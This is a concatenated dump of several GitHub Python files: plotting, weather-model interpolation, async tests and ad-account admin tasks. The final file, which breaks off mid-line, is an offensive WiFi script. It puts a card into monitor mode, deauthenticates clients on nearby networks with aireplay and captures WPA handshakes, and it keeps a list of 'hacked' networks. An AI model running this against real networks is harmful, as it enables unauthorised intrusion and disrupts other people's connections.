fontsize=labelsize + 4, color='#363534')\n plt.tight_layout()\n\n datasets = [cent_df, centrality_random_sample, centrality_matched_sample]\n \n # for i in range(3):\n # maxval = datasets[i].shape[0]\n # xticks = []\n # for tick in axs[i].get_xticklabels():\n # tick.set_text(\"{0:.1f}\".format(100 * (tick._x / maxval)))\n # xticks.append(tick)\n # axs[i].set_xticklabels(xticks)\n\n # axs[i].set_xlabel('% of top N')\n\n for i in range(3):\n axs[i].set_xticks([0. , 20, 40, 60, 80, 100])\n axs[i].set_xlabel('% of top N', fontsize=labelsize)\n axs[i].tick_params(axis='x', labelsize=labelsize + 10, rotation=90)\n\n if filepath is None:\n plt.show()\n else:\n plt.savefig(filepath, bbox_inches='tight', pad_inches=0.2)\n plt.show()\n\n\ndef compute_ks_test(mag, centrality_df, fos_id, base_filepath=\"/home/laal/MAG/DATA\"):\n \n centrality_df[['AuthorId', 'Gender']].to_csv(base_filepath + \"/CentralityAuthors.txt\", header=False,index=False, sep=\"\\t\")\n \n mag.streams['CentralityAuthors'] = ('CentralityAuthors.txt', ['AuthorId:long', 'Gender:int'])\n \n inter_event = mag.getDataframe('InterEventPublications')\n cent_authors = mag.getDataframe('CentralityAuthors')\n \n query = \"\"\"\n SELECT iep.AuthorId, ca.Gender, iep.DateDiff \n FROM InterEventPublications iep\n INNER JOIN CentralityAuthors ca ON iep.AuthorId = ca.AuthorId\n WHERE FieldOfStudyId = {} AND PrevPaperId != CurrentPaperId\n \"\"\".format(fos_id)\n \n \n datediffs = mag.query_sql(query).toPandas()\n women_interevent = datediffs.query(\"Gender == 0\")['DateDiff']\n men_interevent = datediffs.query(\"Gender == 1\")['DateDiff']\n \n ks_test = ks_2samp(women_interevent.values, men_interevent.values)\n \n return datediffs, ks_test\n\n\ndef plot_inter_event_cdf(datediffs, ks_test, field_name, filepath=None):\n labelsize = 20\n women_interevent = datediffs.query(\"Gender == 0\")['DateDiff']\n men_interevent = datediffs.query(\"Gender == 1\")['DateDiff']\n \n fig, ax = plt.subplots(nrows=1, ncols=1, figsize=(7,5))\n\n women_interevent.hist(cumulative=True, density=1, bins=2000, histtype='step', \n linewidth=3, color=\"#6fc9f2\", label=\"Women\")\n\n men_interevent.hist(cumulative=True, density=1, bins=2000, histtype='step', linewidth=3, \n label=\"Men\", color=\"#bd8aff\")\n\n plt.xlim(-100, 2500)\n plt.ylim(0.0, 1.05)\n\n title = r\"$\\bf{\" + field_name.replace(\" \", \"\\ \") + \"}$\" + \\\n \":\\nCDF: Number of days between consequtive publishing dates\"\n title += \"\\n KS statistic: {0:.3f}\".format(ks_test.statistic) + \", p-value: {0:.3f}\".format(ks_test.pvalue)\n \n plt.title(title, color='#363534')\n plt.xlabel('Number of days', color='#363534', fontsize=labelsize)\n plt.ylabel('Cumulative probability', color='#363534', fontsize=labelsize)\n \n ax.tick_params(axis='y', labelsize=labelsize)\n ax.tick_params(axis='x', labelsize=labelsize)\n \n plt.legend(loc=\"right\")\n \n if filepath is not None:\n plt.savefig(filepath)\n \n plt.show()\n\n\ndef plot_centrality_correlations(field_name, matched_data, filename=None):\n\n fig, axs = plt.subplots(nrows=2, ncols=3, figsize=(15,8), sharex=False, sharey=False)\n axs = list(axs.flatten())\n \n labelsize = 12\n idx = 0\n \n matched_data['MAG Rank'] = 1 / matched_data['Rank'] \n \n CENTRALITIES = ['PageRank', 'PageRank05', 'InDegreeStrength', 'MAG Rank']\n \n for cent1, cent2 in itertools.combinations(CENTRALITIES, r=2):\n \n corr = scipy.stats.pearsonr(matched_data[cent1], matched_data[cent2])\n axs[idx].scatter(x=matched_data[cent1], y=matched_data[cent2], color=\"#ff8c00\", alpha=0.3)\n axs[idx].set_title(\"{} vs. {}\".format( cent1, cent2 ) + \"\\n Corr = {0:.3f}, p-value=\".format(corr[0]) + \"{0:.3f}\".format(corr[1]),\n color='#363534')\n axs[idx].set_ylabel(cent2, fontsize=labelsize, color='#363534')\n axs[idx].set_xlabel(cent1, fontsize=labelsize, color='#363534')\n \n axs[idx].tick_params(axis='y', labelsize=labelsize)\n axs[idx].tick_params(axis='x', labelsize=labelsize, rotation=45)\n \n idx += 1\n\n\n plt.suptitle('Centrality correlations for matched population: ' + r\"$\\bf{\" + field_name.replace(\" \", \"\\ \") + \"}$\", \n fontsize=16, color='#363534')\n plt.tight_layout()\n \n if filename is not None:\n plt.savefig(filename)\n plt.show()\n\n\ndef plot_all_fields(centrality, interval=1000):\n \n field_mapping = {\n \"Psychology\": \"/home/laal/MAG/DATA/NETWORKS/SimpleWeightPsychology2020CentralityGendered.csv\",\n \"Economics\": \"/home/laal/MAG/DATA/NETWORKS/SimpleWeightEconomics2020CentralityGendered.csv\", \n \"Mathematics\": \"/home/laal/MAG/DATA/NETWORKS/SimpleWeightMathematics2020CentralityGendered.csv\",\n \"Chemistry\": \"/home/laal/MAG/DATA/NETWORKS/SimpleWeightChemistry2020CentralityGendered.csv\",\n }\n \n for field_name, fpath in field_mapping.items():\n \n cent_df = pd.read_csv(fpath, sep=\"\\t\")\n cent_df['MAG Rank'] = cent_df['Rank'].apply(lambda x: x*-1)\n \n if centrality == 'Rank':\n centrality = 'MAG Rank'\n \n plot_side_by_side(cent_df, field_name, interval=1000, figsize=(25,8), centrality=centrality)\n ","repo_name":"buschbirk/CentralityFairness","sub_path":"visualizations.py","file_name":"visualizations.py","file_ext":"py","file_size_in_byte":19252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23180940085","text":"inFp = None \ninList, inStr = [], \"\"\n\ninFp = open(\"test.txt\", \"r\", encoding=\"utf-8\" )\n#inFp = open(\"C:/Temp/data1.txt\", \"r\")\ni= 0\ninList = inFp.readlines()\nfor inStr in inList :\n i += 1\n print(\"%d : %s\"%(i,inStr), end=\"\")\n\n\ninFp.close()\n","repo_name":"maxi0428/python_test","sub_path":"ch05_test/Code05-20 copy.py","file_name":"Code05-20 copy.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74958645389","text":"#!/home/fengxiang/anaconda3/envs/wrfout/bin/python\n# -*- encoding: utf-8 -*-\n'''\nDescription:\n将wrfout的格点数据插值到站点上\n计算相关的诊断量\nwrfout数据是个矩阵数据,没有按照气压来分布\n所以用相同的气压坐标会有偏差\n这种算法可能会带来巨大的偏差\nTEMF方案的气压值和YSU的能一样吗\n水平插值是对的\n垂直插值可能存在问题\nprc那块重新给就行\n\n# 不同试验 \n# 不同变量\n# 不同站点\n各个站点所在的经纬度不一样,各格点对应的pressure高度不一样,\n所以对每个站点分别处理,比较慢\n-----------------------------------------\nTime :2021/07/30 08:52:47\nAuthor :Forxd\nVersion :1.0\n'''\nimport xarray as xr\nimport numpy as np\nimport pandas as pd\nimport os\nfrom netCDF4 import Dataset\nfrom wrf import getvar, vinterp, interplevel\n\nfrom data_process_main import GetData\nfrom global_variable import station_dic\n\nfrom functools import reduce\n\nclass GetWrfout(GetData):\n\n def __init__(self, station, month):\n self.station = station\n # self.pressure_level = np.arange(610, 100, -5)\n self.pressure_level = np.arange(570, 280, -5)\n self.path = '/mnt/zfm_18T/fengxiang/Asses_PBL/'\n self.path_wrfout = '/mnt/zfm_18T/fengxiang/Asses_PBL/data/wrfout_data/'\n self.model_list = ['ACM2', 'YSU', 'QNSE', 'QNSE_EDMF', 'TEMF']\n self.month = month\n\n if self.month == 'Jul':\n self.month_num = '07'\n self.time_first = '2016-07-01 13:00'\n self.flnm_height_obs = '/mnt/zfm_18T/fengxiang/DATA/GPS_Upar_2016/SCEX_TIPEX3_UPAR_GPS_MUL_55228-201607/upar_G_55228_2016070206.txt'\n self.rh_file = '/mnt/zfm_18T/fengxiang/DATA/FNL/FNL_2016/fnl_rh_201607'\n self.fnl_file = '/mnt/zfm_18T/fengxiang/DATA/FNL/fnl_201607.nc'\n elif self.month == 'May':\n self.month_num = '05'\n self.time_first = '2016-05-01 13:00'\n self.flnm_height_obs = '/mnt/zfm_18T/fengxiang/DATA/GPS_Upar_2016/SCEX_TIPEX3_UPAR_GPS_MUL_55228-201605/upar_G_55228_2016051112.txt'\n self.rh_file = '/mnt/zfm_18T/fengxiang/DATA/FNL/FNL_2016/fnl_rh_201605'\n self.fnl_file = '/mnt/zfm_18T/fengxiang/DATA/FNL/fnl_201605.nc'\n else:\n print(\"%s这个月份不在数据集内\"%self.month)\n \n \"\"\"\n 获取wrfout数据\n \"\"\"\n def regrid_wrfout(self, da_temp):\n \"\"\"对数据进行水平插值和垂直插值,\n 先给数据添加prc属性,再插值到特定层上\n \"\"\"\n def get_pressure_lev():\n # 得到各层的pressure值\n # 不同时刻各层气压值,差别可以忽略不计,\n # 后面还要对气压层进行插值, 这里不对它做过高精度要求\n # 不同的方案和时间,在同一站点,各层气压值相差小于1度\n # 故不作分开考虑\n # path = '/mnt/zfm_18T/Asses_PBL/wrfout_data/'\n # path = os.path.join(self.path, '/data/wrfoutdata')\n path = self.path_wrfout\n # flnm_pressure = os.path.join(path, 'pressure_Jul_YSU_latlon')\n pressure_name = 'pressure_'+self.month+'_YSU_latlon'\n flnm_pressure = os.path.join(path, pressure_name)\n # flnm_pressure = os.path.join(path, 'pressure_Jul_YSU_latlon')\n ds_pressure = xr.open_dataset(flnm_pressure)\n pr = ds_pressure.pressure\n \n # prb = pr.sel(time='2016-07-01 13:00')\n prb = pr.sel(time=self.time_first)\n lat = self.station['lat']\n lon = self.station['lon']\n # prc = prb.sel(lat=32.13, lon=92.5, method='nearest')\n prc = prb.sel(lat=lat, lon=lon, method='nearest')\n # prc = prc[0] - prc # 离地气压高度\n return prc\n\n\n def regrid():\n \"\"\"对wrfout数据进行插值的\n 需要水平插值和垂直插值两项\n Args:\n da_temp (DataArray): 需要插值的变量\n\n Returns:\n DataArray: 插值后的变量\n \"\"\"\n # 将bottom_top坐标换成气压坐标和高度坐标\n time_coord = da_temp.time.values\n lat_coord = da_temp.lat.values\n lon_coord = da_temp.lon.values\n prc = get_pressure_lev()\n pressure_coord = prc.values\n da_temp_reset = da_temp.values\n da = xr.DataArray(\n da_temp_reset,\n coords=[time_coord, pressure_coord, lat_coord, lon_coord],\n dims=['time', 'pressure', 'lat', 'lon'])\n # 水平插值\n da = da.sel(lat=self.station['lat'],\n lon=self.station['lon'],\n method='nearest')\n # 垂直插值\n da_return = da.interp(pressure=self.pressure_level)\n return da_return\n return regrid()\n\n def get_data_single_once(self, var, model):\n \"\"\"读一个模式一个变量的数据\n 模块尽可能的小\n \"\"\"\n file_name = str(var) + \"_\" + str(\n self.month) + \"_\" + str(model) + \"_latlon\"\n flnm_var = os.path.join(self.path_wrfout, file_name)\n ds_var = xr.open_dataset(flnm_var)\n da_var = ds_var[var]\n da_var = self.regrid_wrfout(da_var)\n # da_return = da_var.dropna(dim='time',how='all')\n return da_var\n\n def get_data_var(self, var):\n \"\"\"多个模式的某一变量数据,统一读取\n \"\"\"\n # model_dic = {}\n ds = xr.Dataset()\n for model in self.model_list:\n if var in ['temp', 'td', 'height_agl']:\n # model_dic[model] = self.get_data_single_once(var, model)\n ds[model] = self.get_data_single_once(var, model)\n\n elif var == 't_td':\n t = self.get_data_single_once('temp', model)\n td = self.get_data_single_once('td', model)\n # model_dic[model] = t - td\n ds[model] = t - td\n\n elif var == 'wind_s':\n U = self.get_data_single_once('U', model)\n V = self.get_data_single_once('V', model)\n # model_dic[model] = t - td\n ds[model] = xr.ufuncs.sqrt(U**2 + V**2)\n return ds\n \n\nclass SaveData():\n \n def get_station_one(self, station):\n \"\"\"获得一个站点的所有数据\"\"\"\n gw = GetWrfout(station, month)\n var_list = ['temp', 'td', 'wind_s']\n\n ds_var = xr.Dataset() # 不同变量的聚合\n for var in var_list:\n ds_model = gw.get_data_var(var) # 不同模式的\n da_model = ds_model.to_array()\n da_model = da_model.rename({'variable':'model'}) # 完成不同模式的聚合\n # print(da_model)\n ds_var[var] = da_model\n\n # time_index = reduce(np.intersect1d,\n time_index_temp = ds_var['temp'].sel(model='TEMF').dropna(dim='time', how='all').time.values \n time_index_td = ds_var['td'].sel(model='TEMF').dropna(dim='time', how='all').time.values \n time_index_wind_s = ds_var['wind_s'].sel(model='TEMF').dropna(dim='time', how='all').time.values \n\n time_index1 = np.intersect1d(time_index_temp, time_index_td)\n time_index = np.intersect1d(time_index1, time_index_wind_s)\n ds_return = ds_var.sel(time=time_index)\n return ds_return\n\n def save_station_nc(self, month):\n \"\"\"将不同站点的数据保存为一个文件\n \"\"\"\n \n ds_station = xr.Dataset()\n gd = GetData()\n for key in station_dic:\n station = station_dic[key]\n ds_var = self.get_station_one(station)\n print(\"读[%s]站的数据\" %key)\n ds_var_diag = gd.caculate_diagnostic(ds_var)\n ds_var_return = xr.merge([ds_var, ds_var_diag])\n da_var = ds_var_return.to_array()\n ds_station[station['name']] = da_var\n\n flnm_save = '/mnt/zfm_18T/fengxiang/Asses_PBL/data/'+'wrfout_'+str(month)+\"_station.nc\"\n ds_station.to_netcdf(flnm_save)\n\nif __name__ == '__main__':\n \n for month in ['May', 'Jul']:\n sd = SaveData()\n sd.save_station_nc(month)\n \n \n\n\n # %%\n \n # ds_station = xr.Dataset()\n # gd = GetData()\n # for key in station_dic:\n # station = station_dic[key]\n # ds_var = get_station_one(station)\n # # print(ds_var)\n # ds_var_diag = gd.caculate_diagnostic(ds_var)\n # ds_var_return = xr.merge([ds_var, ds_var_diag])\n # da_var = ds_var_return.to_array()\n # ds_station[station['name']] = da_var\n\n # # %%\n # flnm_save = '/mnt/zfm_18T/fengxiang/Asses_PBL/data/'+'wrfout_'+str(month)+\"_station.nc\"\n # # ds_station.to_netcdf(flnm_save)\n \n\n\n # --------------------------------------\n ##### 测试\n # --------------------------------------\n # %%\n # month = 'Jul'\n # station = station_dic['GaiZe']\n # # %%\n # gw = GetWrfout(station, month)\n # # da = gw.get_data_single_once('td', 'TEMF')\n # ds = get_station_one(station)\n # # %%\n # # da = ds_model['TEMF']\n\n\n# %%\n","repo_name":"xiaofeifei00123/Asses_PBL","sub_path":"UPAR/data_process_wrfout.py","file_name":"data_process_wrfout.py","file_ext":"py","file_size_in_byte":9230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32528652334","text":"import sys\n\n\nasync def aenumerate(aiterable):\n \"\"\"`enumerate` for asynchronous generators.\"\"\"\n\n n = 0\n async for value in aiterable:\n yield (n, value)\n n += 1\n\n\nasync def aslice(aiterable, *args):\n \"\"\"`islice` for asynchronous generators.\"\"\"\n\n # Normalize the input arguments.\n slc = slice(*args)\n start = slc.start or 0\n stop = slc.stop or sys.maxsize\n assert slc.step is None or slc.step == 1\n\n async for (index, value) in aenumerate(aiterable):\n if index < start:\n continue\n elif index >= stop:\n break\n yield value\n","repo_name":"proximax-storage/python-xpx-chain-sdk","sub_path":"tests/aitertools.py","file_name":"aitertools.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"33614710163","text":"import asyncio\nimport os\nimport time\n\nimport pytest\n\nfrom apiautomationtools.client import HttpxRequests\n\npytestmark = pytest.mark.client\n\nroot_dir = f\"{os.path.dirname(__file__)}/{__name__.split('.')[-1]}\"\nheaders = {}\nurl = \"https://httpbin.org/get\"\n\n\n@pytest.fixture(scope=\"module\")\ndef event_loop():\n pytest.async_requests = HttpxRequests(root_dir=root_dir, reuse=True)\n\n loop = asyncio.new_event_loop()\n yield loop\n loop.close()\n\n\n@pytest.mark.asyncio\nasync def test_request(batch=None, delay=0, report=True, **kwargs):\n batch = batch or {\"method\": \"get\", \"headers\": headers, \"url\": url}\n response = await pytest.async_requests.async_request(\n batch, delay=delay, report=report, **kwargs\n )\n\n assert response.get(\"duration\")\n\n responses = response.get(\"responses\")\n assert responses\n\n response_fields = [\n \"description\",\n \"code_mismatch\",\n \"batch_number\",\n \"index\",\n \"method\",\n \"expected_code\",\n \"actual_code\",\n \"json\",\n \"url\",\n \"server_headers\",\n \"response_seconds\",\n \"delay_seconds\",\n \"utc_time\",\n \"headers\",\n ]\n for field in response_fields:\n assert responses[0].get(field, \"missing\") != \"missing\"\n\n assert responses[0].get(\"actual_code\") == \"200\"\n assert responses[0].get(\"json\")\n\n assert pytest.async_requests.client is not None\n\n stream_path = kwargs.get(\"stream_path\")\n if stream_path:\n assert os.path.exists(stream_path)\n\n\n@pytest.mark.asyncio\nasync def test_request_multiple():\n batch = [\n {\"method\": \"get\", \"headers\": headers, \"url\": url},\n {\"method\": \"get\", \"headers\": headers, \"url\": url},\n ]\n await test_request(batch)\n\n\n@pytest.mark.asyncio\nasync def test_request_delay():\n start = time.perf_counter()\n await test_request(delay=2)\n stop = time.perf_counter() - start\n assert stop >= 2\n\n\n@pytest.mark.asyncio\nasync def test_request_content_stream():\n stream_path = f\"{root_dir}/streamed_content.txt\"\n await test_request(stream_path=stream_path)\n\n\n@pytest.mark.asyncio\nasync def test_no_request_report():\n pytest.async_requests.logging.delete_run_info(root_dir)\n path = pytest.async_requests.logging.log_file_path\n assert not os.path.exists(path)\n\n await test_request(report=False)\n assert not os.path.exists(pytest.async_requests.csv_path)\n\n\n@pytest.mark.asyncio\nasync def test_close_connection():\n await pytest.async_requests.close()\n assert pytest.async_requests.client is None\n","repo_name":"rakutentech/api-automation-tools","sub_path":"tests/client/httpx/test_httpx_requests_reuse.py","file_name":"test_httpx_requests_reuse.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"37124573916","text":"# flake8: noqa\n# fmt: off\n\n# This is Invoke [http://docs.pyinvoke.org/en/latest/] config file\n# (it's like Makefile but understand Python and can import your code)\n# Do `invoke --list` to see possible commands\n# Used mostly easing scaffolding in command line.\n# Nothing in production should be using this. Feel free to change in development.\n\nfrom common.patch import patch_event_loop\n\npatch_event_loop()\n\nfrom invoke import task\nimport json\n\nfrom common.store.scope import AssetScope, PlatformToken, DEFAULT_SCOPE\nfrom tests.base.random import gen_string_id\nfrom common.store.entities import AdAccountEntity, PageEntity\nfrom config.facebook import TOKEN, AD_ACCOUNT, AD_ACCOUNT_TIME_ZONE\n\n\n@task\ndef scope_list(ctx):\n for scope in AssetScope.scan():\n for token_id in scope.platform_token_ids:\n pt = PlatformToken.get(token_id)\n print(scope.scope, pt.token)\n\n\n@task\ndef scope_set(ctx, scope, token):\n PlatformToken.upsert(scope, token=token)\n AssetScope.upsert(scope, platform_token_ids={scope})\n\n\n@task\ndef ad_account_list(ctx):\n for aa in AdAccountEntity.scan():\n print(aa)\n\n\n@task\ndef ad_account_set(ctx, scope, id=None, name='AdAccount', is_active=True, data=None):\n # PlatformToken.upsert(scope, token=TOKEN)\n # AssetScope.upsert(scope, platform_token_ids={scope})\n\n if data:\n data = json.loads(data)\n else:\n data = {}\n\n a = AdAccountEntity.upsert(scope, gen_string_id() if id is None else id, is_active=is_active, **data)\n print(a.to_dict())\n\n\n@task\ndef ad_account_delete(ctx, scope, id, complain=False):\n \"\"\"\n :param ctx:\n :param scope:\n :param id: is \"*\" deletes them all\n :param complain:\n :return:\n \"\"\"\n if id == '*':\n for aa in AdAccountEntity.query(scope):\n aa.delete()\n\n if complain:\n AdAccountEntity.get(scope, id).delete()\n else:\n AdAccountEntity(scope, id).delete()\n\n\n@task\ndef ad_account_remote_view(cts, scope, id, token=None):\n from oozer.common.facebook_api import PlatformApiContext, get_default_fields\n from common.enums.entity import Entity\n\n if not token:\n scope = AssetScope.get(scope)\n token = PlatformToken.get(list(scope.platform_token_ids)[0])\n\n with PlatformApiContext(token.token) as fb_ctx:\n ad_account = fb_ctx.to_fb_model(id, Entity.AdAccount)\n fields = get_default_fields(ad_account.__class__)\n ad_account_with_selected_fields = ad_account.api_get(fields=['id', 'name']) # Read just the fields we need\n ad_account_data_dict = ad_account_with_selected_fields.export_all_data() # Export the object to a dict\n print(ad_account_data_dict)\n\n\n@task\ndef page_list(ctx):\n for p in PageEntity.scan():\n print(p)\n\n\n@task\ndef page_set(ctx, scope, id=None, name='Page', is_active=True, data=None):\n # PlatformToken.upsert(scope, token=TOKEN)\n # AssetScope.upsert(scope, platform_token_ids={scope})\n\n if data:\n data = json.loads(data)\n else:\n data = {}\n\n a = PageEntity.upsert(\n scope,\n gen_string_id() if id is None else id,\n is_active=is_active,\n **data\n )\n print(a.to_dict())\n\n\n@task\ndef page_delete(ctx, scope, id, complain=False):\n \"\"\"\n :param ctx:\n :param scope:\n :param id: is \"*\" deletes them all\n :param complain:\n :return:\n \"\"\"\n if id == '*':\n for aa in PageEntity.query(scope):\n aa.delete()\n\n if complain:\n PageEntity.get(scope, id).delete()\n else:\n PageEntity(scope, id).delete()\n\n@task\ndef page_remote_view(cts, scope, id=None, token=None):\n from oozer.common.facebook_api import PlatformApiContext, get_default_fields\n from facebook_business.adobjects.user import User\n\n if not token:\n scope = AssetScope.get(scope)\n token = PlatformToken.get(list(scope.platform_token_ids)[0])\n\n with PlatformApiContext(token.token) as fb_ctx:\n\n pages = User(fbid='me', api=fb_ctx.api).get_accounts()\n\n for page in pages:\n print(page)\n\n@task\ndef sweep_run(ctx):\n from oozer.full_loop import run_sweep\n\n run_sweep()\n","repo_name":"panoramichq/data-collection-fb","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"33078528688","text":"from os import system\nimport subprocess\nfrom pathlib import Path\nfrom time import sleep\nimport pandas, io\nimport builtins\n\nfrom copy import deepcopy\n\n\n\nsystem(\"bash enableMonitorMode.sh\")\nsystem(\"bash setupWifiCard.sh\") # you don't need 'wlan0mon' if you aren't using fern\n\nwifiNetworkSSID = \"luba\"\n\nhacked_networks = [\n # \"SKY-NET\",\n # \"luba\",\n # \"Home\",\n # \"TP-LINK_34E3C0\",\n # \"TP-LINK_Guest_8F28\",\n # \"TP-LINK_Guest_8F28_5G\"\n # \"dlink\",\n]\n\nwith open(\"log.txt\", \"w\") as log:\n log.write(\"\")\n\nold_print = deepcopy(print)\n\n\ndef print_and_log_to_file(*args, **kwargs):\n old_print(*args, **kwargs)\n with open(\"log.txt\", \"a\") as log:\n log.write(\" \".join(map(str, args)) + \"\\n\")\n\n\nbuiltins.print = print_and_log_to_file\n\n\nprocess_for_capturing_packets, process_for_capturing_confirmation = None, None\n\n# def spray_clients_with_death_requests():\n\ndef kill_all_airodump_ng_processes(): # and aireplay\n system('killall -r \"airodump*\"')\n system('killall -r \"aireplay*\"')\n\nkill_all_airodump_ng_processes()\n\ndef captureHandshake__parse_from_string(stringWparams, client_MAC, timeout = 10, time_to_gather_clients = 15):\n # 74:DA:88:1C:24:10 -59 7 0 0 36 390 WPA2 CCMP PSK 5GHOME\n\n fields = map(lambda field: field.strip(), stringWparams.split(\" \"))\n fields = list(fields)\n\n fields = list(filter(bool, fields)) \n\n networkSSID = fields[-1]\n networkMAC = fields[0]\n channel = int(fields[5])\n\n\n return captureHandshake(networkSSID, networkMAC, client_MAC, channel, timeout, time_to_gather_clients = time_to_gather_clients)\n\ndef captureHandshake(networkSSID, networkMAC, client_MAC, channel, timeout = 10, kill_processes = True, start_processes = True, time_to_gather_clients = 15):\n # observeNetwork(networkSSID, channel, observe_for)\n print(f\"Capturing handshakes on {networkSSID}\")\n command_to_capture_packets = f\"airodump-ng wlan0mon --essid {networkSSID} -w {networkSSID}-packets -a {'--channel ' + str(channel) if channel else '' }\"\n # command_to_capture_confirmation = f\"airodump-ng wlan0mon --essid {networkSSID} {'--channel ' + str(channel) if channel else ''} \"\n\n if start_processes:\n system(\"rm observ*\")\n system(f\"rm {networkSSID}-packets*\")\n\n global process_for_capturing_packets, process_for_capturing_confirmation\n\n process_for_capturing_packets = subprocess.Popen(command_to_capture_packets.split(\" \"), text = True)\n # process_for_capturing_confirmation = subprocess.Popen(command_to_capture_confirmation, text = True, shell = True)\n\n\n if not client_MAC:\n clients = get_all_clients(networkSSID, channel, time_per_network=time_to_gather_clients, start_process = False, stop_process = False)\n for client, power in clients:\n deauth_client(networkMAC, client, channel)\n attack_interval = 10\n sleep(attack_interval)\n\n else:\n deauth_client(networkMAC, client_MAC, channel)\n\n \n\n sleep(timeout)\n wpa_handshake = result = check_packets_file_for_handshake(f\"{networkSSID}-packets-01.cap\")\n\n if result:\n print(f\"Got WPA handshake on {networkSSID}. Refer to packets.\")\n else:\n print(f\"No WPA handshake from client {client_MAC}\")\n\n\n if kill_processes:\n process_for_capturing_packets.kill()\n # process_for_capturing_confirmation.kill()\n\n return result\n # /media/sf_shared_folder/\n\ndef captureHandshakes():\n networks, clients = get_networks(observe_for=30, get_clients=True)\n\n last_network = None\n\n for index, client_row in clients.iterrows():\n name = client_row[' ESSID'][1:]\n\n if name in hacked_networks:\n continue\n\n mac_address = client_row['BSSID']\n channel = client_row[' channel']\n # system(f\"sudo iwconfig wlan0mon channel {channel}\")\n\n # clients = get_all_clients(name, channel, time_per_network = 45) # time_per_network means time to observe. A fuck up here\n client = client_row[\"Station MAC\"]\n \n if last_network == None:\n result = captureHandshake(name, mac_address, client, channel, kill_processes = False, start_processes = True)\n\n elif last_network == name:\n result = captureHandshake(name, mac_address, client, channel, kill_processes = False, start_processes = False)\n else:\n process_for_capturing_packets.kill()\n result = captureHandshake(name, mac_address, client, channel, kill_processes = False, start_processes = True)\n\n # if result:\n # break\n\n last_network = name\n\n\n\n\ndef observeNetwork(networkSSID, channel = None, observe_for = 0, stopword = None, start_process = True, stop_process = False):\n # sudo airodump-ng wlan0monmon | grep SKY-NET | cut -d \" \" -f 2\n # bashCMDtoRun = rf\"\"\"airodump-ng wlan0mon | grep {networkSSID} | cut -d \" \" -f 2 > airodump-ng-output.txt\"\"\"\n # bashCMDtoRun = [\"airodump-ng\", \"wlan0mon\", \"|\", \"grep\", f\"{networkSSID}\", \"|\", \"cut\", '-d \" \"', \"-f\", \"2\", \"|\", \"echo done\"] # , \n bashCMDtoRun = [\"airodump-ng\", \"wlan0mon\"] # , \n # bashCMDtoRun = rf\"\"\"airodump-ng wlan0mon > airodump-ng-output.txt\"\"\"\n shebang = \"#!/bin/bash\\n\"\n\n # with open('temp.sh', 'w') as sh_temp:\n # sh_temp.write(shebang + bashCMDtoRun)\n\n # airodump works, but, it seems that it doesn't output to stdout or something, cause .check_output doesn't report anything\n # if I add echo to the end of .sh script, it returns a newline\n\n # results = subprocess.check_output([r'/home/kali/dev/temp.sh'])\n # bashCMDtoRunString = \" \".join(bashCMDtoRun)\n if start_process:\n system(\"rm observ*.csv\")\n bashCMDtoRunString = f\"airodump-ng wlan0mon --output-format csv --essid {networkSSID} -w {networkSSID}-packets -a {'--channel ' + str(channel) if channel else '' }\"\n print(\"cmd to run:\", bashCMDtoRunString)\n\n process = subprocess.Popen(bashCMDtoRunString.split(\" \"), text = True)\n \n sleep(observe_for)\n output = wait_untill_file_exists_and_read_it(f'/home/kali/dev/{networkSSID}-packets-01.csv')\n while networkSSID not in output and (stopword not in output if stopword else True):\n output = wait_untill_file_exists_and_read_it(f'/home/kali/dev/{networkSSID}-packets-01.csv')\n \n if stop_process:\n process.kill()\n\n output__lines = output.split('\\n')\n ap_data = output__lines[1: 3]\n client_data = output__lines[4:]\n client_data = list(filter(lambda line: \"not associated\" not in line, client_data))\n\n ap_data_dataframe = pandas.read_csv(io.StringIO(\"\\n\".join(ap_data)))\n bssid = ap_data_dataframe['BSSID'][0]\n\n client_data_dataframe = pandas.read_csv(io.StringIO(\"\\n\".join(client_data)))\n associated_clients = client_data_dataframe[' BSSID'] == \" \" + bssid\n client_data_dataframe = client_data_dataframe[associated_clients]\n\n \n clients = list(client_data_dataframe['Station MAC'])\n clients__distances = list(client_data_dataframe[' Power'])\n observations = {\n \"BSSID\": bssid,\n \"CHANNEL\": ap_data_dataframe[\" channel\"][0],\n \"CLIENTS\": list(zip(clients, clients__distances))\n }\n return observations\n\n # airodump-ng-output.txt\n # airodump-ng wlan0mon --output-format csv --essid SKY-NET -w observ -a\n # WPA handshake\n\ndef get_networks(observe_for = 15, get_clients = False):\n command_to_run = \"airodump-ng wlan0mon --output-format csv -w all_networks -a\"\n system(\"rm all_networks*\")\n\n process = subprocess.Popen(command_to_run.split(\" \"), text = True)\n sleep(observe_for)\n process.kill()\n\n output = wait_untill_file_exists_and_read_it('/home/kali/dev/all_networks-01.csv')\n output = output.split(\"\\n\\n\") \n \n output__clients = output[1]\n output__clients = list(filter(lambda line: \"not associated\" not in line, output__clients.split(\"\\n\")))\n\n \n \n output = output[0][1:] # selecting networks info (ommiting clients) and discarging first line\n # output = \"\\n\".join(output_lines)\n\n networks_dataframe = pandas.read_csv(io.StringIO(output))\n clients_dataframe = pandas.read_csv(io.StringIO(\"\\n\".join(output__clients)))\n clients_dataframe = clients_dataframe.rename(columns={\" BSSID\": \"BSSID\"})\n clients_dataframe[\"BSSID\"] = clients_dataframe[\"BSSID\"].map(lambda bssid: bssid[1:])\n\n\n networks_with_name = networks_dataframe[\" ESSID\"] != \" \"\n networks_dataframe = networks_dataframe[networks_with_name]\n\n nonopen_networks = networks_dataframe[\" Privacy\"] != \" OPN\"\n networks_dataframe = networks_dataframe[nonopen_networks]\n \n networks_with_stated_security = networks_dataframe[\" Privacy\"] != \" \"\n networks_dataframe = networks_dataframe[networks_with_stated_security]\n # networks_dataframe = networks_dataframe[nonopen_networks][networks_with_stated_security][networks_with_name]\n\n networks_dataframe = networks_dataframe.sort_values(by =\" Power\", ascending = False)\n\n clients_dataframe = associate_networks_SSID_with_their_BSSID(clients_dataframe, 